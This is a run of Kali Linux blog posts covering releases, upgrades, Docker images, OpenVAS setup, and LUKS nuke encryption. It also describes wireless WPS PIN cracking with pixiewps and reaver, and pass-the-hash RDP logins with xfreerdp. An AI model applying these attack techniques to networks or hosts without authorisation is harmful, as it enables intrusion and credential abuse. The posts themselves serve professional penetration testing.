Through our Live Build process, Kali 2.0 now natively supports KDE, GNOME3, Xfce, MATE, e17, lxde and i3wm. We’ve moved on to GNOME 3 in this release, marking the end of a long abstinence period. We’ve finally embraced GNOME 3 and with a few custom changes, it’s grown to be our favourite desktop environment. We’ve added custom support for multi-level menus, true terminal transparency, as well as a handful of useful gnome shell extensions. This however has come at a price - the minimum RAM requirements for a full GNOME 3 session has increased to 768 MB. This is a non-issue on modern hardware but can be detrimental on lower-end machines. For this reason, we have also released an official, minimal Kali 2.0 ISO. This “light” flavour of Kali includes a handful of useful tools together with the lightweight Xfce desktop environment - a perfect solution for resource-constrained computers.

Kali Linux 2.0 ARM Images & NetHunter 2.0

The whole ARM image section has been updated across the board with Kali 2.0 - including Raspberry Pi, Chromebooks, Odroids… The whole lot! In the process, we’ve added some new images - such as the latest Chromebook Flip - the little beauty here on the right. Go ahead, click on the image, take a closer look. Another helpful change we’ve implemented in our ARM images is including kernel sources, for easier compilation of new drivers.

We haven’t forgotten about NetHunter, our favourite mobile penetration testing platform - which also got an update and now includes Kali 2.0. With this, we’ve released a whole barrage of new NetHunter images for Nexus 5, 6, 7, 9, and 10. The OnePlus One NetHunter image has also been updated to Kali 2.0 and now has a much awaited image for CM12 as well - check the OffSec NetHunter page for more information.

Updated VMware and VirtualBox Images

OffSec, the information security training and penetration testing company behind Kali Linux, has put up new VMware and VirtualBox Kali 2.0 images for those who want to try Kali in a virtual environment. These include 32 and 64 bit flavours of the GNOME 3 full Kali environment.

If you want to build your own virtual environment, you can consult our documentation site on how to install the various virtual guest tools for a smoother experience.

TL;DR. Where’s My Kali 2.0 Download?

The tl;dr of this release is best explained by comparison: If Kali 1.0 was focused on building a solid infrastructure then Kali 2.0 is focused on overhauling the user experience and maintaining updated packages and tool repositories. Along with the arrival of 2.0 comes a whole lot of interesting updates… You can head down to our Kali Linux 2.0 Download page to get the goodness for yourself.

Still TL; Still DR. How Do I Upgrade to Kali 2.0?

Yes, you can upgrade Kali 1.x to Kali 2.0! To do this, you will need to edit your source.list entries, and run a dist-upgrade as shown below. If you have been using incorrect or extraneous Kali repositories or otherwise manually installed or overwritten Kali packages outside of apt, your upgrade to Kali 2.0 may fail. This includes scripts like lazykali.sh, PTF, manual git clones in incorrect directories, etc. - All of these will clobber existing files on the filesystem and result in a failed upgrade. If this is the case for you, you’re better off reinstalling your OS from scratch.

Otherwise, feel free to:

cat << EOF > /etc/apt/sources.list
deb http://http.kali.org/kali sana main contrib non-free
deb http://security.kali.org/kali-security/ sana/updates main contrib non-free
EOF
apt-get update
apt-get dist-upgrade # get a coffee, or 10.
reboot

Metasploit Community / Pro no longer ships in Kali

At the request of Rapid7, we have removed the Metasploit Community / Pro package from Kali Linux and now host the Open-source metasploit-framework package only. For all of you who require Community or Pro, you will now need to download it from Rapid7 and then register and submit your personal details in order to get a license. In addition, the Rapid7 team no longer maintains the Metasploit package in Kali, which has brought with it some substantial changes - we’ve moved to a “native” setup, where rather than bundling all the required software needed to run Metasploit in one big package, we use native dependencies within Kali to support the metasploit-framework package. This results in a faster, smoother work experience and easier integration with Metasploit dependencies. For more information about this, check out our Metasploit Framework in Kali documentation page.

Starting up Metasploit Framework in Kali Linux 2.0

Due to the above-mentioned changes in the metasploit-framework package, there are some minor changes in how Metasploit is started in Kali - specifically, there is no longer a metasploit service. This is how you start up the Metasploit Framework with database support in Kali Linux 2.0:

# Start the Postgresql Database
/etc/init.d/postgresql start
# Initialize the Metasploit Framework Database
msfdb init
# Run msfconsole
msfconsole

Your Kali 2.0 FU Just Got an Upgrade

Kali Linux 2.0 is a serious step forward for us, as we continuously improve the distribution. We hope you enjoy the new look, features, tools, and workflow. As usual, you are invited to join our community via forums, bug tracker, Twitter, Facebook, and of course, IRC. Lastly, if you haven’t seen our Kali 2.0 Teaser video, here it is!

Kali Linux 2.0 Release Day Scheduled

Mon, 06 Jul 2015 00:00:00 +0000

We’ve been awfully quiet lately, which usually means something is brewing below the surface. In the past few months we’ve been working feverishly on our next generation of Kali Linux and we’re really happy with how it’s looking so far. There’s a lot of new features and interesting new aspects to this updated version, however we’ll keep our mouths shut until we’re done with the release. We won’t leave you completely hanging though…here’s a small teaser of things to come!

Kali 2.0 Dojo at Black Hat & DEF CON Las Vegas, 2015

If you’re heading down to Black Hat Vegas 2015, join our free Kali 2.0 Dojo workshop, where we will be showcasing some of the most awesome features in Kali 2.0. We are currently working to bring everyone a surprise appearance at DEF CON as well. Unleash the Kraken!

Official Kali Linux Docker Images Released

Tue, 26 May 2015 00:00:00 +0000

For the latest information, please see our documentation on Docker

Last week we received an email from a fellow penetration tester, requesting official Kali Linux Docker images that he could use for his work. We bootstrapped a minimal Kali Linux 1.1.0a base and registered it under our Kali Linux Docker account. A few minutes later, said fellow pentester was up and running with Metasploit and the Top 10 Kali Linux tools on his Macbook Pro.

Docker is Awesome

The more we started looking into Docker and all of its features, the more we realized the endless possibilities of this technology - from helping us in our own internal Kali beta testing, to furthering the reach of Kali to foreign distributions and esoteric operating systems. The fact that you can run Docker on pretty much every operating system under the sun makes this feature extra sexy. The beauty in this process is that Kali is placed in a nice, neat container without polluting your guest filesystem. With this in place, you have full access to all the Kali packages on any and all systems that run Docker - which ends up being quite an expansive list.

Kali Docker Image Running on Fedora 21 and OSX 10.10 Guests

Figuring out how to use Docker was simple enough. This tutorial does a great job of getting you up and running and showing you the ropes.

Setting up a Kali Linux Docker Image

Obviously, to get this running, you need to install Docker. For Docker on OSX you can use brew, while for most other distributions, you can install it using your local package manager. Once installed and set up, it’s just a matter of pulling our image from the Docker repository:

muts@macbook-air:~$ docker pull kalilinux/kali-rolling
muts@macbook-air:~$ docker run -t -i kalilinux/kali-rolling /bin/bash
root@0129d62d2319:/# apt-get update && apt-get install metasploit-framework

Building Your Own Kali Linux Docker Image

If you want to build your own Kali images rather than use our pre-made ones, we’ve made it easy with the following script hosted on Kali Linux Docker on GitHub. These images are best built on a Linux system or any other OS that can debootstrap:

#!/bin/bash
# Install dependencies (debootstrap)
sudo apt-get install debootstrap
# Fetch the latest Kali debootstrap script from git
curl "https://gitlab.com/kalilinux/packages/debootstrap.git;a=blob_plain;f=scripts/kali;hb=HEAD" > kali-debootstrap &&\
sudo debootstrap kali ./kali-root http://http.kali.org/kali ./kali-debootstrap &&\
# Import the Kali image into Docker
sudo tar -C kali-root -c . | sudo docker import - kalilinux/kali &&\
sudo rm -rf ./kali-root &&\
# Test the Kali Docker Image
docker run -t -i kalilinux/kali cat /etc/debian_version &&\
echo "Build OK" || echo "Build failed!"

Have fun with your Kali Docker images!

Pixiewps, Reaver & Aircrack-ng Wireless Penetration Testing Tool Updates

Mon, 04 May 2015 00:00:00 +0000

A short while ago, we packaged and pushed out a few important wireless penetration testing tool updates for aircrack-ng, pixiewps and reaver into Kali’s repository. These new additions and updates are fairly significant, and may even change your wireless attack workflows. Here’s a short run-down of the updates and the changes they bring.

Pixiewps - Bruteforce WPS pins in seconds

Pixiewps is a tool used for offline brute forcing of WPS pins, while exploiting the low or non-existing entropy of some wireless access points also known as the pixie dust attack, discovered by Dominique Bongard (slides and video). The pixiewps tool (developed by wiire), was born out of the Kali forums, and the development of the tool can be tracked throughout an interesting forum post.

In the correct environment, pixiewps dramatically speeds up the WPS brute force attack time from what was taking up to 12 hours to a a few seconds. This new attack is mind numbing, and we are somewhat surprised that it hasn’t been discussed on a wider basis. Watch our following video closely, and see how we extract the WPA shared key of this EdiMAX wireless access point in a few seconds using updated versions of pixiewps and reaver, already packaged in Kali:

Aircrack-ng v1.2 RC2 Update

Aircrack-ng is the de facto penetration tool suite - essential for any wireless penetration tests or assessments. In this latest Aircrack-ng release, amongst the normal bug fixes and code improvements there has been a significant change to airmon-ng, the tool used to put wireless cards into monitor mode. Other new and notable features are that airtun-ng is now able to decrypt WPA as well as several new airodump-ng flags, such as - -wps and - -uptime.

Also notice the new naming convention of the wireless virtual interfaces - wlanXmon, as opposed to monX.

Goodbye mon0, hello wlan0mon!

For the latest few releases, the aircrack-ng suite had bundled with it airmon-zc, which uses an improved method of placing wireless cards into monitor mode, as well as more verbose output options. With the release of Aircrack-ng 1.2 RC2, airmon-zc has officially replaced the original aircrack-ng, as the new standard.

More verbose airmon-ng output

When things are going right, everything is great! However when this isn’t the case, and you need to troubleshoot wireless issues, you can now use a single command airmon-ng –verbose start wlan0 to gather all the relent information needed:

root@kali:~# airmon-ng --verbose start wlan0
No interfering processes found
No LSB modules are available.
Distributor ID: Kali
Description: Kali GNU/Linux 1.1.0
Release: 1.1.0
Codename: moto
Linux kali 3.18.0-kali3-amd64 #1 SMP Debian 3.18.6-1~kali2 (2015-03-02) x86_64 GNU/Linux
Detected VM using dmi_info
This appears to be a VMware Virtual Machine
If your system supports VT-d, it may be possible to use PCI devices
If your system does not support VT-d, you can only use USB wifi cards
K indicates driver is from 3.18.0-kali3-amd64
V indicates driver comes directly from the vendor, almost certainly a bad thing
S indicates driver comes from the staging tree, these drivers are meant for reference not actual use, BEWARE
? indicates we do not know where the driver comes from... report this
X[PHY]Interface Driver[Stack]-FirmwareRev Chipset Extended Info
K[phy0]wlan0 rtl8187[mac80211]-N/A Realtek Semiconductor Corp. RTL8187
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
root@kali:~#

You can find aircrack-ng’s full change log at the following address: aircrack-ng.org/doku.php?id=Main#changelog.

Updated Reaver WPS attack tool

The reaver project was originally developed by Craig Heffner, and the last release was 1.4. As the project seems to have been abandoned, several forks have cropped up - one belonging to a member of the Kali forums, t6_x, who has also integrated the pixiewps attack into a newly minted 1.5.2 release. This new version implements an array of improvements on the original version, and will hopefully be activity maintained by the community.

The Kali Community Rocks

One of the advantages of being a Kali forum moderator is that you get to witness the community grow and interact. Since the original pixiewps thread started by soxrok2212, it has received over 300 responses, bringing about the implementation of new ideas and updates to the tool. Watching this project emerge from a single forum post all the way to the release of the tool, and seeing the co-operation between the various tool developers while working to get interoperability between their tools was a real privilege.

Stay fresh with Kali-Linux

You don’t need to do anything special to get this awesome tool chain, just keep your Kali-Linux up-to-date:

apt-get update
apt-get dist-upgrade

Happy penetration testing!

OpenVAS 8.0 Vulnerability Scanning

Mon, 27 Apr 2015 00:00:00 +0000

Vulnerability scanning is a crucial phase of a penetration test and having an updated vulnerability scanner in your security toolkit can often make a real difference by helping you discover overlooked vulnerable items. For this reason, we’ve manually packaged the latest and newly released OpenVAS 8.0 tool and libraries for Kali Linux. Although nothing major has changed in this release in terms of running the vulnerability scanner, we wanted to give a quick overview on how to get it up and running.

Setting up Kali for Vulnerability Scanning

If you haven’t already, make sure your Kali is up-to-date and install the latest OpenVAS. Once done, run the openvas-setup command to setup OpenVAS, download the latest rules, create an admin user, and start up the various services. Depending on your bandwidth and computer resources, this could take a while:

root@kali:~# apt-get update
root@kali:~# apt-get dist-upgrade
root@kali:~# apt-get install openvas
root@kali:~# openvas-setup
/var/lib/openvas/private/CA created
/var/lib/openvas/CA created
[i] This script synchronizes an NVT collection with the 'OpenVAS NVT Feed'.
[i] Online information about this feed: 'https://www.openvas.org/openvas-nvt-feed
...
sent 1143 bytes received 681741238 bytes 1736923.26 bytes/sec
total size is 681654050 speedup is 1.00
[i] Initializing scap database
[i] Updating CPEs
[i] Updating /var/lib/openvas/scap-data/nvdcve-2.0-2002.xml
[i] Updating /var/lib/openvas/scap-data/nvdcve-2.0-2003.xml
...
Write out database with 1 new entries
Data Base Updated
Restarting Greenbone Security Assistant: gsad.
User created with password '6062d074-0a4c-4de1-a26a-5f9f055b7c88'.

Once openvas-setup completes its process, the OpenVAS manager, scanner, and GSAD services should be listening:

root@kali:~# netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:9390 0.0.0.0:* LISTEN 9583/openvasmd
tcp 0 0 127.0.0.1:9391 0.0.0.0:* LISTEN 9570/openvassd: Wai
tcp 0 0 127.0.0.1:9392 0.0.0.0:* LISTEN 9596/gsad

Starting the OpenVAS services

If you have already configured OpenVAS, you can simply start all the necessary services by running openvas-start:

root@kali:~# openvas-start
Starting OpenVas Services
Starting Greenbone Security Assistant: gsad.
Starting OpenVAS Scanner: openvassd.
Starting OpenVAS Manager: openvasmd.

If you need to troubleshoot any issues, you can use openvas-check-setup to identity the problem.

Connecting to the OpenVAS Web Interface

Point your browser to https://127.0.0.1:9392, accept the self signed SSL certificate and plugin the credentials for the admin user. The admin password was generated during the setup phase (look at the output above if you missed it).

That’s it! Now OpenVAS is ready for you to configure it and run a scan against a given IP or range. Happy vulnerability scanning!

Kali Linux 1.1.0 Release

Mon, 09 Feb 2015 00:00:00 +0000

After almost two years of public development (and another year behind the scenes), we are proud to announce our first point release of Kali Linux - version 1.1.0. This release brings with it a mix of unprecedented hardware support as well as rock solid stability. For us, this is a real milestone as this release epitomizes the benefits of our move from BackTrack to Kali Linux over two years ago. As we look at a now mature Kali, we see a versatile, flexible Linux distribution, rich with useful security and penetration testing related features, running on all sorts of weird and wonderful ARM hardware. But enough talk, here are the goods:

The new release runs a 3.18 kernel, patched for wireless injection attacks.
Our ISO build systems are now running off live-build 4.x.
Improved wireless driver support, due to both kernel and firmware upgrades.
NVIDIA Optimus hardware support.
Updated virtualbox-tool, openvm-tools and vmware-tools packages and instructions.
A whole bunch of fixes and updates from our bug-tracker changelog.
And most importantly, we changed grub screens and wallpapers!

Download or Upgrade Kali Linux 1.1.0

page in the next few days. As usual, if you’ve already got Kali Linux installed and running, there’s no need to re-download the image as you can simply update your existing operating system using simple apt commands:

apt-get update
apt-get dist-upgrade

Shameless OffSec Plug

Last month, OffSec put out a promotional video as well as a motivational song in praise of its flagship Penetration Testing with Kali Linux certification, the OSCP. People liked them so much, we thought we’d share them here too:

CALL OFFSEC - Promotional Video

OFFSEC SAY “TRY HARDER!” - OSCP Motivational Song

“OffSec say Try Harder, the only way to get your OSCP!”. This is our new OSCP anthem for all struggling students. The lyrics for the “Try Harder” song can be found on the latest OffSec “Try Harder” blog post. Enjoy!

Try Harder (mp3)

Kali & NetHunter Security Release Fixes

Mon, 06 Oct 2014 00:00:00 +0000

Squash the Bugs with Kali 1.0.9a

Over the past couple of weeks, we’ve seen a bunch of nasty bugs hit the scene, from shellshock to Debian apt vulnerabilities. As we prefer not to ship vulnerable ISOs, we’ve rolled up new images for our Kali Linux and NetHunter releases as well our Amazon AWS images with the relevant security fixes in place. These images correspond to Kali 1.0.9a and NetHunter 1.0.2 versions, now available for download through our mirrors. We expect the Amazon images to be updated in the AWS backend by the end of the week. If you’re already running Kali Linux, all you need to do is run an update and dist-upgrade to get the latest and greatest:

apt-get update
apt-get dist-upgrade

NetHunter for Professional Penetration Testing

The OffSec NetHunter release was a success and has brought about a huge amount of interest in our Nexus ROM overlay. We are happy and thankful to see a NetHunter community spring up and contribute to the project so actively. Since the release, we have been repeatedly asked about our Kali EULA and whether NetHunter can be used for commercial purposes such as professional penetration testing or running security assessments. The answer is a resounding YES, currently making NetHunter the only free Nexus Android system which is Open-source and allowed for commercial use. If you’re doing any serious work with NetHunter, make sure it is properly secured and encrypted.

Kali Linux Tools Listings

A month ago, we released the Kali Linux Tools website, detailing the tools available in Kali as well as simple usage examples. If you are the author of a tool that we have missed or have additional examples that you would like us to include in order to more fully cover your project, please feel free to contact us to have your entries fixed.

Kali Tools Website Launched, 1.0.9 Release

Mon, 25 Aug 2014 00:00:00 +0000

Now that we have caught our breath after the Black Hat and DEF CON conferences, we have put aside some time to fix an annoying bug in our 1.0.8 ISO releases related to outdated firmware as well as regenerate fresh new ARM and VMware images (courtesy of OffSec ) for our new 1.0.9 release. With this release come a few more updates worth mentioning:

Rasberry Pi B+ ARM Image Support

We are pleased to announce that we have updated our Raspberry Pi Kali image to support the new B+ model so that now it works out of the box. This single image now supports all Raspberry Pi models.

Odroid U3, Cubox-i ARM Images Added

We have also included two more images to our Kali ARM image collection for the Odroid U3 and Cubox-i ARM computers. Each of these have interesting use cases as both their small form factor and specs are formidable. All of these news scripts can be found in our OffSec GitHub page.

New Kali Tools Website!

After many months of typing, editing, and testing, we are delighted to announce the launch of our new Kali Linux Tools website. This new site is our official home for information on all of the tools included in Kali Linux. For each tool, you will find a description of the tool, links to the tool homepage, author and license information, and usage output so you can see what output you can expect from each utility in Kali.

In addition to the primary listing of all Kali tools, we have also made an effort to use tags throughout the site so you can more easily find a particular tool based on what it can do. You will find a tag cloud at the bottom of each page as you navigate the site. Also available is a full breakdown of the contents of each Kali Linux metapackage, allowing you to see which tool is included in a particular metapackage, which makes the building of custom ISOs much easier.

We hope you enjoy our new Kali Linux Tools site and find it as useful as we do. If you are a tool author and have additional examples that you would like us to include in order to more fully cover your project, please feel free to contact us.

Looking towards the future

We have a massive set of of surprises in the works, some of which will be revealed in Brucon and Derbycon, where we’ll be running our second Kali Linux Dojo. See you there!

Kali Linux 1.0.8 Release with EFI Boot Support

Tue, 22 Jul 2014 00:00:00 +0000

The long awaited Kali Linux USB EFI boot support feature has been added to our binary ISO builds, which has prompted this early Kali Linux 1.0.8 release. This new feature simplifies getting Kali installed and running on more recent hardware which requires EFI as well as various Apple Macbooks Air and Retina models. Besides the addition of EFI support, there is a whole array of tool updates and fixes that have accumulated over the past couple of months.

As this new release focuses almost entirely on the EFI capable ISO image, OffSec won’t be releasing additional ARM or VMWare images with 1.0.8. As usual, you don’t need to re-download Kali if you’ve got it installed, and apt-get update && apt-get dist-upgrade should do the job.

Shameless Plug for Our Free Kali Dojo

Finally, this release comes a couple of weeks before the 2014 Black Hat and Defcon security conferences in Las Vegas. If you’re attending these conferences, don’t forget to join our one day, free [Kali Linux Dojo workshop](](/docs/development/dojo-mastering-live-build/), where we will be teaching and demonstrating the awesome stuff you can do with the Kali Linux Distribution. It’s going to be intensive and hands on, so you’ll need to bring some stuff with you if you attend. We expect this to be one of our most engaging and interesting events ever!

Kali Linux, a Penetration Testing Platform

While keeping an up-to-date toolset is most definitely an important part of any security distribution, much of our resources are also spent on building, testing and fixing useful features for individuals in the Security and Forensics fields. Building on our ever-growing list of such features, we can now happily say that the Kali image is a EFI Bootable ISO Hybrid image that supports Live USB Encrypted Persistence with LUKS Nuke support, out of the box. Yippie!

Kali Linux 1.0.7 Release

Tue, 27 May 2014 00:00:00 +0000

Kernel 3.14, Tool Updates, Package Improvements

Kali Linux 1.0.7 has just been released, complete with a whole bunch of tool updates, a new kernel, and some cool new features. Check out our changelog for a full list of these items. As usual, you don’t need to re-download or re-install Kali to benefit from these updates - you can update to the latest and greatest using these simple commands:

apt-get update
apt-get dist-upgrade
# If you've just updated your kernel, then: reboot

Kali Linux Encrypted USB Persistence

One of the new sought out features introduced (which is also partially responsible for the kernel update) is the ability to create Kali Linux Live USB with LUKS Encrypted Persistence. This feature ushers in a new era of secure Kali Linux USB portability, allowing us to either boot to a “clean” Kali image or alternatively, overlay it with the contents of a persistent encrypted partition, all within the same USB drive.

Tool Developers Ahoy!

This release also marks the beginning of some co-ordinated efforts between Kali developers and tool developers to make sure their tools are represented correctly and are fully functional within Kali Linux. We would like to thank the metasploit, w3af, and wpscan dev teams for working with us to perfect their Kali packages and hope that more tool developers join in. Tool developers are welcome to send us an email to:

and we’ll be happy to work with you to better integrate your tool into Kali.

Kali Linux: Greater Than the Sum of its Parts

For quite some time now, we’ve been preaching that Kali Linux is more than a “Linux distribution with a collection of tools in it”. We invest a significant amount of time and resources developing and enabling features in the distribution which we think are useful for penetration testers and other security professionals. These features range from things like “live-build”, which allows our end users to easily customize their own Kali ISOs, to features like Live USB persistence encryption, which provides paranoid users with an extra layer of security. Many of these features are unique to Kali and can be found nowhere else. We’ve started tallying these features and linking them from our Kali documentation page - check it out, it’s growing to be an impressive list!

Torrents, Virtual Machine & ARM images

In the next few days, OffSec will post Virtual Machine and custom ARM images for the 1.0.7 release. We will announce the availability of these images via our blog and Twitter feeds, so stay tuned!.

Kali Linux Metapackages

Wed, 26 Feb 2014 00:00:00 +0000

One of our goals when developing Kali Linux was to provide multiple metapackages that would allow us to easily install subsets of tools based on their particular needs. Until recently, we only had a handful of these meta packages but we have since expanded the metapackage list to include far more options:

kali-linux
kali-linux-all
kali-linux-forensic
kali-linux-full
kali-linux-gpu
kali-linux-pwtools
kali-linux-rfid
kali-linux-sdr
kali-linux-top10
kali-linux-voip
kali-linux-web
kali-linux-wireless

These metapackages allow for easy installation of certain tools in a specific field, or alternatively, for the installation of a full Kali suite. All of the Kali metapackages follow a particular naming convention, starting with “kali-linux” so if you want to see which metapackages are available, you can search for them as follows:

apt-get update && apt-cache search kali-linux

Although we tried to make the metapackage names self-explanatory, we are limited in the practical length we can use, so let’s take a brief look at each of them and see how much disk space is used by each one:

kali-linux

The kali-linux metapackage is a completely bare-bones installation of Kali Linux and includes various network services such as Apache and SSH, the Kali kernel, and a number of version control applications like git, svn, etc. All of the other metapackages listed below also contain kali-linux. Installation Size: 1.5 GB

kali-linux-full

When you download a Kali Linux ISO, you are essentially downloading an installation that has the kali-linux-full metapackage installed. This package includes all of the tools you are familiar with in Kali. Installation Size: 9.0 GB

kali-linux-all

In order to keep our ISO sizes reasonable, we are unable to include every single tool that we package for Kali and there are a number of tools that are not able to be used depending on hardware, such as various GPU tools. If you want to install every available Kali Linux package, you can install the kali-linux-all metapackage. Installation Size: 15 GB

kali-linux-top10

In Kali Linux, we have a sub-menu called “Top 10 Security Tools”. The kali-linux-top10 metapackage will install all of these tools for you in one fell swoop. Installation Size: 3.5 GB

kali-linux-forensic

If you are doing forensics work, you don’t want your analysis system to contain a bunch of unnecessary tools. To the rescue comes the kali-linux-forensic metapackage, which only contains the forensics tools in Kali. Installation Size: 3.1 GB

kali-linux-gpu

GPU utilities are very powerful but need special hardware in order to function correctly. For this reason, they are not included in the default Kali Linux installation but you can install them all at once with kali-linux-gpu and get cracking. Installation Size: 4.8 GB

kali-linux-pwtools

The kali-linux-pwtools metapackage contains over 40 different password cracking utilities as well as the GPU tools contained in kali-linux-gpu. Installation Size: 6.0 GB

kali-linux-rfid

For our users who are doing RFID research and exploitation, we have the kali-linux-rfid metapackage containing all of the RFID tools available in Kali Linux. Installation Size: 1.5 GB

kali-linux-sdr

The kali-linux-sdr metapackage contains a large selection of tools for your Software Defined Radio hacking needs. Installation Size: 2.4 GB

kali-linux-voip

Many people have told us they use Kali Linux to conduct VoIP testing and research so they will be happy to know we now have a dedicated kali-linux-voip metapackage with 20+ tools. Installation Size: 1.8 GB

kali-linux-web

Web application assessments are very common in the field of penetration testing and for this reason, Kali includes the kali-linux-web metapackage containing dozens of tools related to web application hacking. Installation Size: 4.9 GB

kali-linux-wireless

Like web applications, many penetration testing assessments are targeted towards wireless networks. The kali-linux-wireless metapackage contains all the tools you’ll need in one easy to install package. Installation Size: 6.6 GB

To see the list of tools included in a metapackage, you can use simple apt commands. For example, to list all the tools included in the kali-linux-web metapackage, we could:

apt-cache show kali-linux-web | grep Depends

Kali Linux Amazon EC2 AMI

Mon, 20 Jan 2014 00:00:00 +0000

Kali Linux in the Amazon EC2 Marketplace

EDIT: For updated Kali Rolling images in the Amazon AWS, check this post.

After several weeks of “back and forth” with the Amazon EC2 team, Kali Linux has finally been approved into the Amazon EC2 marketplace. This means that our users can now activate and access Kali Linux instances in the Amazon cloud quickly and easily. We are “selling” these images on the marketplace for free, so other than the regular amazon charges, there no extras to pay. We have currently published a single 64 bit minimal instance of Kali Linux, which can be found in the marketplace by searching for “Kali Linux” or accessed via its direct link.

Due to Amazon AMI image guidelines, the instance does not use the root account by default. Once you have obtained your SSH key from Amazon, you need to connect to your instance using the “kali” user, from which you can then sudo to root if needed. The image is a barebones Kali installation, allowing you to install any toolset you like, while still remaining small and lightweight. If you plan on using Kali Linux for any aggressive scanning on the Internet, make sure to update the Amazon security team through their Penetration Testing Request form.

Build Your Own Kali Images in the Amazon Cloud

If you would like to build your own Kali Linux Amazon Machine Images, you can use our Kali cloud build-scripts , which we published as part of our Kali 1.0.6 release. These scripts can be edited to create your own custom images with whatever toolset you wish.

Ask Us Anything on Reddit

Tomorrow, Tuesday 21st Jan, 2014 from 1300 - 1500 EST, we are conducting a Reddit AMA (Ask Me Anything), revolving around OffSec, Kali Linux, and our other projects. You are welcome to join and ask us anything!

Passing the Hash with Remote Desktop

Tue, 14 Jan 2014 00:00:00 +0000

Kali Linux contains a large number of very useful tools that are beneficial to information security professionals. One set of such tools belongs to the Pass-the-Hash toolkit, which includes favorites such as pth-winexe among others, already packaged in Kali Linux. An example of easy command line access using pth-winexe is shown below.

We constantly strive to include new, useful tools to our repositories. Sometimes we feel that some of these tools do not get the attention they deserve and go under-reported. One such recent addition is the version of FreeRDP, which allows a penetration tester to use a password hash instead of a plain text password for authentication to the remote desktop service in Windows 2012 R2 and Windows 8.1.

What’s the big deal, you say? Traditional “Pass-the-Hash” attacks can be very powerful, but they are limited to command line access. Although in most cases that is enough, sometimes GUI access is just a better way to accomplish things.

A few months ago, Mark Lowe from the Portcullis Labs published a blog post on research he conducted against Windows 2012 R2 and Windows 8.1 RDP security improvements. It turns out that Microsoft, in their quest to mitigate “Pass-the-Hash” attacks, introduced something called “Restricted Admin” mode. You can read more about it here.

Inadvertently however, this new security feature actually enabled the use of a password hash for RDP authentication purposes, thereby giving many pentesters once again a reason to smile. To add to the validity of the research by Mark, the FreeRDP project has added native support for Pass-the-Hash authentication to the FreeRDP package, which is now in Kali repos. To enjoy this new feature, simply install freerdp-x11:

apt-get update
apt-get install freerdp-x11

The new xfreerdp executable supports the “/pth” flag as shown below using our “offsec” domain user and the “password” hash.

And that’s it! RDP sessions using harvested password hashes. Again, keep in mind that this only works on Windows 2012 R2 and Windows 8.1. To the best of our knowledge, the “Restricted Admin” feature has not been backported yet and considering this, it may never be.

How to Nuke your Encrypted Kali Installation

Mon, 13 Jan 2014 00:00:00 +0000

There’s been a fair amount of discussion around the recently introduced LUKS nuke patch we added to the cryptsetup package in Kali Linux. We wanted to take this opportunity to better explain this feature, as well as demonstrate some useful approaches which are worthwhile getting to know.

LUKS Nuke in a Nutshell

As explained well By Michael Lee in his ZDNet article, when creating an encrypted LUKS container, a master key is generated at random. A passphrase is then used to encrypt the master key in turn. This process means that the passphrase is not directly coupled to the data. That is, if two sets of identical data are encrypted and the same passphrase used, the master keys remain unique to each set and cannot be swapped out. What this also means however, is that regardless of the passphrase used, if the master key is lost, recovering data is impossible. This process conveniently lends itself to being used as a nuke by deliberately wiping the keys.

Example Use Case of LUKS Nuke

Our main purpose for introducing this feature in Kali Linux is to simplify the process of securely traveling with confidential client information. While “LUKS Nuking” your drive will result in an inaccessible disk, it is possible to backup your keyslots beforehand and restore them after the fact. What this allows us to do is to “brick” our sensitive laptops before any travel, separate ourselves from the restoration keys (which we encrypt), and then “restore” them to the machines once back in a safe location. This way, if our hardware is lost or otherwise accessed midway through our travels, no one is able to restore the data on it, including ourselves.

There are other ways to delete your keyslots, however the advantage of the Nuke option is it is quick, easy, and does not require you to fully login to your Kali installation. If you maintain a backup of your header, you can Nuke the keyslots whenever you feel uncomfortable. Then conduct a restoration when you feel secure.

Try this for yourself

Let’s go through the motions of encrypting, backing up, destroying, and then restoring your data using Kali Linux. Start by downloading and installing Kali Linux 1.0.6 with Full Disk Encryption. Once that is done, you can verify your information as follows:

root@kali-crypto:~# cryptsetup luksDump /dev/sda5
LUKS header information for /dev/sda5
Version: 1
Cipher name: aes
Cipher mode: xts-plain64
Hash spec: sha1
Payload offset: 4096
MK bits: 512
MK digest: 04 cd d0 51 bf 57 10 f5 87 08 07 d5 c8 2a 34 24 7a 89 3b db
MK salt: 27 42 e5 a6 b2 53 7f de 00 26 d3 f8 66 fb 9e 48
16 a2 b0 a9 2c bb cc f6 ea 66 e6 b1 79 08 69 17
MK iterations: 65750
UUID: 126d0121-05e4-4f1d-94d8-bed88e8c246d
Key Slot 0: ENABLED
Iterations: 223775
Salt: 7b ee 18 9e 46 77 60 2a f6 e2 a6 13 9f 59 0a 88
7b b2 db 84 25 98 f3 ae 61 36 3a 7d 96 08 a4 49
Key material offset: 8
AF stripes: 4000
Key Slot 1: DISABLED
Key Slot 2: DISABLED
Key Slot 3: DISABLED
Key Slot 4: DISABLED
Key Slot 5: DISABLED
Key Slot 6: DISABLED
Key Slot 7: DISABLED

As you can see, we have slot 0 enabled with slots 1 to 7 unused. At this point, we will add our nuke key:

root@kali-crypto:~# apt install cryptsetup-nuke-password
root@kali-crypto:~# dpkg-reconfigure cryptsetup-nuke-password

This didn’t change anything to the LUKS container, instead it installed the nuke password and a small hook in the initrd. This hook will detect when you enter your nuke password at boot time and it will call “cryptsetup luksErase” on your LUKS container at that time.

Wonderful. Now we need to back up the encryption keys. This can easily be done with the “luksHeaderBackup” option:

root@kali-crypto:~# cryptsetup luksHeaderBackup --header-backup-file luksheader.back /dev/sda5
root@kali-crypto:~# file luksheader.back
luksheader.back: LUKS encrypted file, ver 1 [aes, xts-plain64, sha1] UUID: 126d0121-05e4-4f1d-94d8-bed88e8c246d
root@kali-crypto:~#

So, in our case we would like to encrypt this data for storage. There are a number of ways this could be done, however we will use openssl to make the process quick and easy using default tools in Kali:

root@kali-crypto:~# openssl enc -aes-256-cbc -salt -in luksheader.back -out luksheader.back.enc
enter aes-256-cbc encryption password:
Verifying - enter aes-256-cbc encryption password:
root@kali-crypto:~# ls -lh luksheader.back*
-r-------- 1 root root 2.0M Jan 9 13:42 luksheader.back
-rw-r--r-- 1 root root 2.0M Jan 9 15:50 luksheader.back.enc
root@kali-crypto:~# file luksheader.back*
luksheader.back: LUKS encrypted file, ver 1 [aes, xts-plain64, sha1] UUID: 126d0121-05e4-4f1d-94d8-bed88e8c246d
luksheader.back.enc: data

